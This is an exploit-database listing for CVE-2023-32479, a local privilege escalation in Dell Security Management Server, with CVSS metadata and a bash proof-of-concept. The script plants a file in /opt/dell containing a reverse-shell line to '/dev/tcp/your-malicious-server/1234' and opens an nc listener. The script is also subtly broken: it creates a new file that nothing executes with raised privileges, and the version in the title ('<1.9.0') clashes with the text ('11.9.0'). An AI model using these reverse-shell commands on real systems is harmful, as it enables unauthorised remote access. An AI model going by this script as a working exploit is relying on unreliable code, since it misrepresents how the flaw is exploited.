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zdtAmirhossein Bahramizadeh1337DAY-ID-39497
HistoryMar 29, 2024 - 12:00 a.m.

Dell Security Management Server <1.9.0 - Local Privilege Escalation Exploit

2024-03-2900:00:00
Amirhossein Bahramizadeh
0day.today
166
dell security management
privilege escalation
improper acls
vulnerability
local exploit
reverse shell

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

7.1

Confidence

Low

EPSS

0

Percentile

9.0%

# Exploit Title: [title] Dell Security Management Server versions prior to
11.9.0
# Exploit Author: [author] Amirhossein Bahramizadeh
# CVE : [if applicable] CVE-2023-32479
Dell Encryption, Dell Endpoint Security Suite Enterprise, and Dell Security
Management
Server versions prior to 11.9.0 contain privilege escalation vulnerability
due to improper ACL of the non-default installation directory. A local
malicious user could potentially exploit this vulnerability by replacing
binaries in installed directory and taking the reverse shell of the system
leading to Privilege Escalation.

#!/bin/bash

INSTALL_DIR="/opt/dell"

# Check if the installed directory has improper ACLs
if [ -w "$INSTALL_DIR" ]; then
    # Replace a binary in the installed directory with a malicious binary that opens a reverse shell
    echo "#!/bin/bash" > "$INSTALL_DIR/dell-exploit"
    echo "bash -i >& /dev/tcp/your-malicious-server/1234 0>&1" >> "$INSTALL_DIR/dell-exploit"
    chmod +x "$INSTALL_DIR/dell-exploit"

    # Wait for the reverse shell to connect to your malicious server
    nc -lvnp 1234
fi

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

7.1

Confidence

Low

EPSS

0

Percentile

9.0%